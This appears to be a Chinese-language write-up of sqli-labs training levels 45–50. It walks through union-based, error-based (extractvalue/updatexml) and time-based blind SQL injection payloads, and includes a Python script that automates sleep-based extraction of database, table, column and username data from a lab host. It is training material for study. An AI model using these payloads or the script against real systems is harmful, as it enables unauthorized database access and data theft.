sqli-labs(9)

45.

不会显示报错信息通过or 1验证

在密码处输入')or('1

sqli-labs(9)_第1张图片登录成功

')union select 1,2,3 #

sqli-labs(9)_第2张图片

')union select 1,database(),3 #

sqli-labs(9)_第3张图片

')union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

sqli-labs(9)_第4张图片

')union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

sqli-labs(9)_第5张图片

')union select 1,(select group_concat(username) from security.users),3 #

sqli-labs(9)_第6张图片

46.

sqli-labs(9)_第7张图片

sqli-labs(9)_第8张图片

单双引号都报错’

sqli-labs(9)_第9张图片

后面是order by使用and 1=1 是验证不了的

sqli-labs(9)_第10张图片

sqli-labs(9)_第11张图片

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

sqli-labs(9)_第12张图片

sqli-labs(9)_第13张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

sqli-labs(9)_第14张图片

sqli-labs(9)_第15张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

sqli-labs(9)_第16张图片

sqli-labs(9)_第17张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

sqli-labs(9)_第18张图片

sqli-labs(9)_第19张图片

47.

1'失败

1‘ --+成功

1“成功 

sqli-labs(9)_第20张图片

1'and(extractvalue(1,concat(0x5c,database()))) --+
1'and(updatexml(1,concat(0x7e,database(),0x7e),1)) --+

sqli-labs(9)_第21张图片

sqli-labs(9)_第22张图片

1'and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)) --+

sqli-labs(9)_第23张图片

sqli-labs(9)_第24张图片

1'and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))) --+
1'and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)) --+

sqli-labs(9)_第25张图片

sqli-labs(9)_第26张图片

48.

发现页面无报错回显,这里还是order by 无法使用union

使用延时注入

1 and if(substr(database(),1,1)='s',sleep(2),0)

sqli-labs(9)_第27张图片

用脚本进行爆破

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

sqli-labs(9)_第28张图片

sqli-labs(9)_第29张图片

1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='e',sleep(2),0) --+
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

sqli-labs(9)_第30张图片

sqli-labs(9)_第31张图片

1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='i',sleep(2),0) --+
def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

sqli-labs(9)_第32张图片

sqli-labs(9)_第33张图片

1 and if(substr((select username from security.users limit 1,1),1,1)='a',sleep(2),0) --+
def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

完整的脚本

import requests,time

def database():
    database_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr(database(),{len (database_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                database_name += char
                print(f"数据库名称为:{database_name}")
                break
        else:
            break
    return database_name

datas = database()
print("最终数据库名称为:",datas)

         
def tablename():
    table_name =''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{len(table_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                table_name += char
                print(f"表名称为:{table_name}")
                break
        else:
            break
    return table_name

tables =  tablename()
print("最终表名称为:",tables)

def columnname():
    column_name = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),{len(column_name) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url)
            end_time = time.time()
            rsp.time = end_time - start_time
            if rsp.time >= 2:
                column_name += char
                print(f"列名称为:{column_name}")
                break
        else:
            break
    return column_name

columns = columnname()
print("最终列名称为:",columns)

def datas():
    data  = ''
    charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
    while True:
        for char in charset:
            payload = f"1 and if(substr((select username from security.users limit 1,1),{len(data) +1},1)='{char}',sleep(2),0) --+"
            url = f'http://192.168.1.200:86/Less-48/?sort={payload}'
            start_time = time.time()
            rsp = requests.get(url) 
            end_time = time.time()  
            rsp.time = end_time - start_time    
            if rsp.time >= 2:
                data += char
                print(f"数据为:{data}")
                break
        else:
            break
    return data
das = datas()
print("最终数据为:",das)
   

49.

和上面比多了’

50.

sqli-labs(9)_第34张图片

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

sqli-labs(9)_第35张图片

sqli-labs(9)_第36张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

sqli-labs(9)_第37张图片

sqli-labs(9)_第38张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

sqli-labs(9)_第39张图片

sqli-labs(9)_第40张图片

1 and(extractvalue(1,concat(0x5c,(select group_concat(username) from security.users))))
1 and(updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1))

sqli-labs(9)_第41张图片

sqli-labs(9)_第42张图片

你可能感兴趣的:(靶场,数据库,sql,mysql,web安全)